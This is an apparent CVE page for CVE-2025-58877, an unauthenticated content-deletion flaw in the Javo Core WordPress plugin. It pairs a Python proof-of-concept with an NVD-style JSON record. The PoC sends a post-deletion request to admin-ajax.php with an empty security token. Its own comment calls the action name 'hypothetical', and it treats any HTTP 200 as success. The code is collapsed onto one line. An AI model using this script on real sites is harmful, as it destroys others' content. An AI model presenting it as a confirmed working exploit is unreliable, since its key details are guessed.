CVE-2025-58877

import requests import sys # CVE-2025-58877 PoC - Unauthenticated Arbitrary Content Deletion # Affected: Javo Core WordPress Plugin <= 3.0.0.529 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" post_id = sys.argv[2] if len(sys.argv) > 2 else "1" # Target post ID to delete # Identify vulnerable AJAX endpoint vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct deletion request without authentication payload = { "action": "javo_delete_post", # Hypothetical vulnerable action name "post_id": post_id, "security": "" # Empty or bypassable security token } print(f"[*] Sending deletion request for post ID: {post_id}") print(f"[*] Target: {vulnerable_endpoint}") try: response = requests.post(vulnerable_endpoint, data=payload, timeout=10) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text print(f"[+] Response: {result}") if "success" in str(result).lower() or response.status_code == 200: print(f"[!] Potential vulnerability confirmed - post {post_id} may have been deleted") else: print(f"[*] Request sent, check manually") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Note: Verify the vulnerable action name by reviewing plugin source code")

{"cve": {"id": "CVE-2025-58877", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.510", "lastModified": "2026-04-27T19:16:15.243", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in javothemes Javo Core javo-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Javo Core: from n/a through <= 3.0.0.529."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/javo-core/vulnerability/wordpress-javo-core-plugin-3-0-0-529-arbitrary-content-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}